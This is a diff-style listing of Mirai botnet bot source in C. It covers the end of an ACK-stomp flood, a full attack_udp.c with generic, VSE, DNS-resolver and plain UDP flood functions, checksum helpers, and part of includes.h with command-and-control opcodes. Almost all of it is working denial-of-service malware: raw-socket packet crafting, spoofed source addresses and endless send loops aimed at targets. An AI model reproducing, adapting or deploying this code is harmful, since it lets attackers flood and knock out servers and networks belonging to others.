char *payload;
|
||||
|
||||
stomp_data[i].addr = addr.sin_addr.s_addr;
|
||||
stomp_data[i].seq = ntohl(tcph->seq);
|
||||
stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
|
||||
stomp_data[i].sport = tcph->dest;
|
||||
stomp_data[i].dport = addr.sin_port;
|
||||
#ifdef DEBUG
|
||||
printf("ACK Stomp got SYN+ACK!\n");
|
||||
#endif
|
||||
// Set up the packet
|
||||
pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
tcph = (struct tcphdr *)(iph + 1);
|
||||
payload = (char *)(tcph + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_TCP;
|
||||
iph->saddr = LOCAL_ADDR;
|
||||
iph->daddr = stomp_data[i].addr;
|
||||
|
||||
tcph->source = stomp_data[i].sport;
|
||||
tcph->dest = stomp_data[i].dport;
|
||||
tcph->seq = stomp_data[i].ack_seq;
|
||||
tcph->ack_seq = stomp_data[i].seq;
|
||||
tcph->doff = 8;
|
||||
tcph->fin = TRUE;
|
||||
tcph->ack = TRUE;
|
||||
tcph->window = rand_next() & 0xffff;
|
||||
tcph->urg = urg_fl;
|
||||
tcph->ack = ack_fl;
|
||||
tcph->psh = psh_fl;
|
||||
tcph->rst = rst_fl;
|
||||
tcph->syn = syn_fl;
|
||||
tcph->fin = fin_fl;
|
||||
|
||||
rand_str(payload, data_len);
|
||||
break;
|
||||
}
|
||||
else if (tcph->fin || tcph->rst)
|
||||
{
|
||||
close(fd);
|
||||
goto stomp_setup_nums;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (time(NULL) - start_recv > 10)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Couldn't connect to host for ACK Stomp in time. Retrying\n");
|
||||
#endif
|
||||
close(fd);
|
||||
goto stomp_setup_nums;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Start spewing out traffic
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
|
||||
char *data = (char *)(tcph + 1);
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = rand_next() & 0xffff;
|
||||
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
tcph->seq = htons(stomp_data[i].seq++);
|
||||
tcph->ack_seq = htons(stomp_data[i].ack_seq);
|
||||
tcph->check = 0;
|
||||
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
|
||||
|
||||
targs[i].sock_addr.sin_port = tcph->dest;
|
||||
sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
547
mirai/bot/attack_udp.c
Executable file
547
mirai/bot/attack_udp.c
Executable file
@ -0,0 +1,547 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "attack.h"
|
||||
#include "checksum.h"
|
||||
#include "rand.h"
|
||||
#include "util.h"
|
||||
#include "table.h"
|
||||
#include "protocol.h"
|
||||
|
||||
static ipv4_t get_dns_resolver(void);
|
||||
|
||||
void attack_udp_generic(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
|
||||
|
||||
if (data_len > 1460)
|
||||
data_len = 1460;
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct udphdr *udph;
|
||||
|
||||
pkts[i] = calloc(1510, sizeof (char));
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
udph = (struct udphdr *)(iph + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_UDP;
|
||||
iph->saddr = source_ip;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
udph->source = htons(sport);
|
||||
udph->dest = htons(dport);
|
||||
udph->len = htons(sizeof (struct udphdr) + data_len);
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct udphdr *udph = (struct udphdr *)(iph + 1);
|
||||
char *data = (char *)(udph + 1);
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (source_ip == 0xffffffff)
|
||||
iph->saddr = rand_next();
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = (uint16_t)rand_next();
|
||||
if (sport == 0xffff)
|
||||
udph->source = rand_next();
|
||||
if (dport == 0xffff)
|
||||
udph->dest = rand_next();
|
||||
|
||||
// Randomize packet content?
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
udph->check = 0;
|
||||
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + data_len);
|
||||
|
||||
targs[i].sock_addr.sin_port = udph->dest;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_udp_vse(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 27015);
|
||||
char *vse_payload;
|
||||
int vse_payload_len;
|
||||
|
||||
table_unlock_val(TABLE_ATK_VSE);
|
||||
vse_payload = table_retrieve_val(TABLE_ATK_VSE, &vse_payload_len);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct udphdr *udph;
|
||||
char *data;
|
||||
|
||||
pkts[i] = calloc(128, sizeof (char));
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
udph = (struct udphdr *)(iph + 1);
|
||||
data = (char *)(udph + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_UDP;
|
||||
iph->saddr = LOCAL_ADDR;
|
||||
iph->daddr = targs[i].addr;
|
||||
|
||||
udph->source = htons(sport);
|
||||
udph->dest = htons(dport);
|
||||
udph->len = htons(sizeof (struct udphdr) + 4 + vse_payload_len);
|
||||
|
||||
*((uint32_t *)data) = 0xffffffff;
|
||||
data += sizeof (uint32_t);
|
||||
util_memcpy(data, vse_payload, vse_payload_len);
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct udphdr *udph = (struct udphdr *)(iph + 1);
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = (uint16_t)rand_next();
|
||||
if (sport == 0xffff)
|
||||
udph->source = rand_next();
|
||||
if (dport == 0xffff)
|
||||
udph->dest = rand_next();
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
udph->check = 0;
|
||||
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);
|
||||
|
||||
targs[i].sock_addr.sin_port = udph->dest;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_udp_dns(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 53);
|
||||
uint16_t dns_hdr_id = attack_get_opt_int(opts_len, opts, ATK_OPT_DNS_HDR_ID, 0xffff);
|
||||
uint8_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 12);
|
||||
char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
|
||||
int domain_len;
|
||||
ipv4_t dns_resolver = get_dns_resolver();
|
||||
|
||||
if (domain == NULL)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Cannot send DNS flood without a domain\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
domain_len = util_strlen(domain);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
int ii;
|
||||
uint8_t curr_word_len = 0, num_words = 0;
|
||||
struct iphdr *iph;
|
||||
struct udphdr *udph;
|
||||
struct dnshdr *dnsh;
|
||||
char *qname, *curr_lbl;
|
||||
struct dns_question *dnst;
|
||||
|
||||
pkts[i] = calloc(600, sizeof (char));
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
udph = (struct udphdr *)(iph + 1);
|
||||
dnsh = (struct dnshdr *)(udph + 1);
|
||||
qname = (char *)(dnsh + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_UDP;
|
||||
iph->saddr = LOCAL_ADDR;
|
||||
iph->daddr = dns_resolver;
|
||||
|
||||
udph->source = htons(sport);
|
||||
udph->dest = htons(dport);
|
||||
udph->len = htons(sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
|
||||
|
||||
dnsh->id = htons(dns_hdr_id);
|
||||
dnsh->opts = htons(1 << 8); // Recursion desired
|
||||
dnsh->qdcount = htons(1);
|
||||
|
||||
// Fill out random area
|
||||
*qname++ = data_len;
|
||||
qname += data_len;
|
||||
|
||||
curr_lbl = qname;
|
||||
util_memcpy(qname + 1, domain, domain_len + 1); // Null byte at end needed
|
||||
|
||||
// Write in domain
|
||||
for (ii = 0; ii < domain_len; ii++)
|
||||
{
|
||||
if (domain[ii] == '.')
|
||||
{
|
||||
*curr_lbl = curr_word_len;
|
||||
curr_word_len = 0;
|
||||
num_words++;
|
||||
curr_lbl = qname + ii + 1;
|
||||
}
|
||||
else
|
||||
curr_word_len++;
|
||||
}
|
||||
*curr_lbl = curr_word_len;
|
||||
|
||||
dnst = (struct dns_question *)(qname + domain_len + 2);
|
||||
dnst->qtype = htons(PROTO_DNS_QTYPE_A);
|
||||
dnst->qclass = htons(PROTO_DNS_QCLASS_IP);
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct udphdr *udph = (struct udphdr *)(iph + 1);
|
||||
struct dnshdr *dnsh = (struct dnshdr *)(udph + 1);
|
||||
char *qrand = ((char *)(dnsh + 1)) + 1;
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = rand_next() & 0xffff;
|
||||
if (sport == 0xffff)
|
||||
udph->source = rand_next() & 0xffff;
|
||||
if (dport == 0xffff)
|
||||
udph->dest = rand_next() & 0xffff;
|
||||
|
||||
if (dns_hdr_id == 0xffff)
|
||||
dnsh->id = rand_next() & 0xffff;
|
||||
|
||||
rand_alphastr((uint8_t *)qrand, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
udph->check = 0;
|
||||
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
|
||||
|
||||
targs[i].sock_addr.sin_addr.s_addr = dns_resolver;
|
||||
targs[i].sock_addr.sin_port = udph->dest;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question), MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_udp_plain(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("in udp plain\n");
|
||||
#endif
|
||||
|
||||
int i;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
int *fds = calloc(targs_len, sizeof (int));
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
struct sockaddr_in bind_addr = {0};
|
||||
|
||||
if (sport == 0xffff)
|
||||
{
|
||||
sport = rand_next();
|
||||
} else {
|
||||
sport = htons(sport);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("after args\n");
|
||||
#endif
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct udphdr *udph;
|
||||
char *data;
|
||||
|
||||
pkts[i] = calloc(65535, sizeof (char));
|
||||
|
||||
if (dport == 0xffff)
|
||||
targs[i].sock_addr.sin_port = rand_next();
|
||||
else
|
||||
targs[i].sock_addr.sin_port = htons(dport);
|
||||
|
||||
if ((fds[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create udp socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
|
||||
bind_addr.sin_family = AF_INET;
|
||||
bind_addr.sin_port = sport;
|
||||
bind_addr.sin_addr.s_addr = 0;
|
||||
|
||||
if (bind(fds[i], (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to bind udp socket.\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (connect(fds[i], (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to connect udp socket.\n");
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("after setup\n");
|
||||
#endif
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *data = pkts[i];
|
||||
|
||||
// Randomize packet content?
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
#ifdef DEBUG
|
||||
errno = 0;
|
||||
if (send(fds[i], data, data_len, MSG_NOSIGNAL) == -1)
|
||||
{
|
||||
printf("send failed: %d\n", errno);
|
||||
} else {
|
||||
printf(".\n");
|
||||
}
|
||||
#else
|
||||
send(fds[i], data, data_len, MSG_NOSIGNAL);
|
||||
#endif
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
static ipv4_t get_dns_resolver(void)
|
||||
{
|
||||
int fd;
|
||||
|
||||
table_unlock_val(TABLE_ATK_RESOLVER);
|
||||
fd = open(table_retrieve_val(TABLE_ATK_RESOLVER, NULL), O_RDONLY);
|
||||
table_lock_val(TABLE_ATK_RESOLVER);
|
||||
if (fd >= 0)
|
||||
{
|
||||
int ret, nspos;
|
||||
char resolvbuf[2048];
|
||||
|
||||
ret = read(fd, resolvbuf, sizeof (resolvbuf));
|
||||
close(fd);
|
||||
table_unlock_val(TABLE_ATK_NSERV);
|
||||
nspos = util_stristr(resolvbuf, ret, table_retrieve_val(TABLE_ATK_NSERV, NULL));
|
||||
table_lock_val(TABLE_ATK_NSERV);
|
||||
if (nspos != -1)
|
||||
{
|
||||
int i;
|
||||
char ipbuf[32];
|
||||
BOOL finished_whitespace = FALSE;
|
||||
BOOL found = FALSE;
|
||||
|
||||
for (i = nspos; i < ret; i++)
|
||||
{
|
||||
char c = resolvbuf[i];
|
||||
|
||||
// Skip leading whitespace
|
||||
if (!finished_whitespace)
|
||||
{
|
||||
if (c == ' ' || c == '\t')
|
||||
continue;
|
||||
else
|
||||
finished_whitespace = TRUE;
|
||||
}
|
||||
|
||||
// End if c is not either a dot or a number
|
||||
if ((c != '.' && (c < '0' || c > '9')) || (i == (ret - 1)))
|
||||
{
|
||||
util_memcpy(ipbuf, resolvbuf + nspos, i - nspos);
|
||||
ipbuf[i - nspos] = 0;
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (found)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Found local resolver: '%s'\n", ipbuf);
|
||||
#endif
|
||||
return inet_addr(ipbuf);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
switch (rand_next() % 4)
|
||||
{
|
||||
case 0:
|
||||
return INET_ADDR(8,8,8,8);
|
||||
case 1:
|
||||
return INET_ADDR(74,82,42,42);
|
||||
case 2:
|
||||
return INET_ADDR(64,6,64,6);
|
||||
case 3:
|
||||
return INET_ADDR(4,2,2,2);
|
||||
}
|
||||
}
|
53
mirai/bot/checksum.c
Executable file
53
mirai/bot/checksum.c
Executable file
@ -0,0 +1,53 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/ip.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "checksum.h"
|
||||
|
||||
uint16_t checksum_generic(uint16_t *addr, uint32_t count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
|
||||
for (sum = 0; count > 1; count -= 2)
|
||||
sum += *addr++;
|
||||
if (count == 1)
|
||||
sum += (char)*addr;
|
||||
|
||||
sum = (sum >> 16) + (sum & 0xFFFF);
|
||||
sum += (sum >> 16);
|
||||
|
||||
return ~sum;
|
||||
}
|
||||
|
||||
uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
|
||||
{
|
||||
const uint16_t *buf = buff;
|
||||
uint32_t ip_src = iph->saddr;
|
||||
uint32_t ip_dst = iph->daddr;
|
||||
uint32_t sum = 0;
|
||||
int length = len;
|
||||
|
||||
while (len > 1)
|
||||
{
|
||||
sum += *buf;
|
||||
buf++;
|
||||
len -= 2;
|
||||
}
|
||||
|
||||
if (len == 1)
|
||||
sum += *((uint8_t *) buf);
|
||||
|
||||
sum += (ip_src >> 16) & 0xFFFF;
|
||||
sum += ip_src & 0xFFFF;
|
||||
sum += (ip_dst >> 16) & 0xFFFF;
|
||||
sum += ip_dst & 0xFFFF;
|
||||
sum += htons(iph->protocol);
|
||||
sum += data_len;
|
||||
|
||||
while (sum >> 16)
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
|
||||
return ((uint16_t) (~sum));
|
||||
}
|
9
mirai/bot/checksum.h
Executable file
9
mirai/bot/checksum.h
Executable file
@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <linux/ip.h>
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
uint16_t checksum_generic(uint16_t *, uint32_t);
|
||||
uint16_t checksum_tcpudp(struct iphdr *, void *, uint16_t, int);
|
133
mirai/bot/includes.h
Executable file
133
mirai/bot/includes.h
Executable file
@ -0,0 +1,133 @@
|
||||
#pragma once
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdint.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
#define STDIN 0
|
||||
#define STDOUT 1
|
||||
#define STDERR 2
|
||||
|
||||
#define FALSE 0
|
||||
#define TRUE 1
|
||||
typedef char BOOL;
|
||||
|
||||
typedef uint32_t ipv4_t;
|
||||
typedef uint16_t port_t;
|
||||
|
||||
#define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
|
||||
|
||||
#define SINGLE_INSTANCE_PORT 48101
|
||||
|
||||
#define FAKE_CNC_ADDR INET_ADDR(65,222,202,53)
|
||||
#define FAKE_CNC_PORT 80
|
||||
|
||||
#define CNC_OP_PING 0x00
|
||||
#define CNC_OP_KILLSELF 0x10
|
||||
#define CNC_OP_KILLATTKS 0x20
|
||||
#define CNC_OP_PROXY 0x30
|
||||
#define CNC_OP_ATTACK 0x40
|
||||
|
||||
ipv4_t LOCAL_ADDR;
|
||||
|
||||
#ifdef DEBUG
|
||||
static char *outptr;
|
||||
static void xputc(char c)
|
||||
{
|
||||
if (outptr) {
|
||||
*outptr++ = (unsigned char)c;
|
||||
return;
|
||||
} else {
|
||||
write(0, &c, 1);
|
||||
}
|
||||
}
|
||||
|
||||
static void xputs(const char *str)
|
||||
{
|
||||
while (*str)
|
||||
xputc(*str++);
|
||||
}
|
||||
|
||||
static void xvprintf(const char *fmt, va_list arp)
|
||||
{
|
||||
unsigned int r, i, j, w, f;
|
||||
unsigned long v;
|
||||
char s[16], c, d, *p;
|
||||
for (;;) {
|
||||
c = *fmt++; /* Get a char */
|
||||
if (!c) break; /* End of format? */
|
||||
if (c != '%') { /* Pass through it if not a % sequense */
|
||||
xputc(c); continue;
|
||||
}
|
||||
f = 0;
|
||||
c = *fmt++; /* Get first char of the sequense */
|
||||
if (c == '0') { /* Flag: '0' padded */
|
||||
f = 1; c = *fmt++;
|
||||
} else {
|
||||
if (c == '-') { /* Flag: left justified */
|
||||
f = 2; c = *fmt++;
|
||||
}
|
||||
}
|
||||
for (w = 0; c >= '0' && c <= '9'; c = *fmt++) /* Minimum width */
|
||||
w = w * 10 + c - '0';
|
||||
if (c == 'l' || c == 'L') { /* Prefix: Size is long int */
|
||||
f |= 4; c = *fmt++;
|
||||
}
|
||||
if (!c) break; /* End of format? */
|
||||
d = c;
|
||||
//toupper
|
||||
if (d >= 'a') d -= 0x20;
|
||||
switch (d) { /* Type is... */
|
||||
case 'S' : /* String */
|
||||
p = va_arg(arp, char*);
|
||||
for (j = 0; p[j]; j++) ;
|
||||
while (!(f & 2) && j++ < w) xputc(' ');
|
||||
xputs(p);
|
||||
while (j++ < w) xputc(' ');
|
||||
continue;
|
||||
case 'C' : /* Character */
|
||||
xputc((char)va_arg(arp, int)); continue;
|
||||
case 'B' : /* Binary */
|
||||
r = 2; break;
|
||||
case 'O' : /* Octal */
